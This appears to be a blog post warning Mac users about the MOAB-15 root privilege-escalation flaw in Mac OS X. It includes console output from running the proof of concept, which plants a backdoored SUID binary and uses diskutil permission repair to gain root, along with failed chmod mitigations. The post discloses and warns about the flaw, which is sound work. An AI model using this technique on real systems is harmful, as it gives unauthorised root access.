Mac OS X is Vulnerable
There’s a serious security hole in Mac OS X.
One that could easily be used by a worm, virus, trojan, etc..
MOAB-15 overwrites any program in the /Applications folder that contains a SUID bit with a malicious binary, then uses disk utility to perform a escalation to root.
There will be no prompt for admin password. You won’t see it coming.
I’ve tested the MOAB-15 POC on my up-to-date system and the POC still works. This means that we’ve been vulnerable to a zero-day exploit for almost half a year and Apple has said nothing about it. They haven’t tried to fix it, or anything.
$ ruby /Users/Shared/MOAB-15-01-2007.rb ++ Starting: /Applications/Utilities/ODBC Administrator.app/Contents/Resources/iodbcadmintool ++ Back-up: /tmp/iodbcadmintool ++ Compiling a shell wrapper at /tmp/o... ++ Placing backdoor... Started verify/repair permissions on disk disk0s2 Fear Determining correct file permissions. parent directory ./Users/Shared/SC Info does not exist User differs on ./Applications/Utilities/ODBC Administrator.app/Contents/Resources/iodbcadmintool, should be 0, owner is 501 Group differs on ./Applications/Utilities/ODBC Administrator.app/Contents/Resources/iodbcadmintool, should be 80, group is 0 Permissions differ on ./Applications/Utilities/ODBC Administrator.app/Contents/Resources/iodbcadmintool, should be -rwsrwxr-x , they are -rwxr-xr-x Owner and group corrected on ./Applications/Utilities/ODBC Administrator.app/Contents/Resources/iodbcadmintool Permissions corrected on ./Applications/Utilities/ODBC Administrator.app/Contents/Resources/iodbcadmintool
In addition, if you try to secure your system against this POC, disk utility will actively remove your security when you repair your permissions.
Administrator.app/Contents/Resources $ ls -l total 216 drwxrwxr-x 10 root admin 340 Oct 8 2006 English.lproj -rw-rw-r-- 1 root admin 50034 Jan 14 2006 ODBC.icns -rw-rw-r-- 1 root admin 135 Jan 14 2006 aboutfiles.txt -rwsrwxr-x 1 root admin 51820 Aug 10 05:48 iodbcadmintool $ sudo chmod 755 iodbcadmintool $ ls -l total 216 drwxrwxr-x 10 root admin 340 Oct 8 2006 English.lproj -rw-rw-r-- 1 root admin 50034 Jan 14 2006 ODBC.icns -rw-rw-r-- 1 root admin 135 Jan 14 2006 aboutfiles.txt -rwxr-xr-x 1 root admin 51820 Aug 10 05:48 iodbcadmintool $diskutil verifypermissions / Permissions differ on ./Applications/Utilities/Activity Monitor.app/Contents/Resources/pmTool, should be -rwsrwxr-x , they are -rwsr-xr-x Permissions differ on ./Applications/Utilities/Keychain Access.app/Contents/Resources/kcproxy, should be -rwsrwxr-x , they are -rwsr-xr-x Permissions differ on ./Applications/Utilities/ODBC Administrator.app/Contents/Resources/iodbcadmintool, should be -rwsrwxr-x , they are -rwxr-xr-x
Is there anything we can do to protect ourselves?
Sadly, not really. If you try and protect the vulnerable binaries, disk utility will reverse what you do. You can see that above when you execute disk utility.
If you try and pull the fangs out of disk utility like MOAB 15 recommends
For preventing usage of diskutil to achieve this and similar privilege escalation attacks, remove the setuid bit from /System/Library/PrivateFrameworks/ DiskManagement.framework/Resources/DiskManagementTool. $ sudo chmod -s (...)/Resources/DiskManagementTool
You’ll have the same issue when you run disk utility.
Permissions differ on ./System/Library/PrivateFrameworks/ DiskManagement.framework/Versions/A/Resources/DiskManagementTool, should be -rwsr-xr-x , they are -rwxr-xr-x
Apple needs to do something about this right now.
In the meantime, start reading up on it at Rixstep, because they are going to go in depth about this problem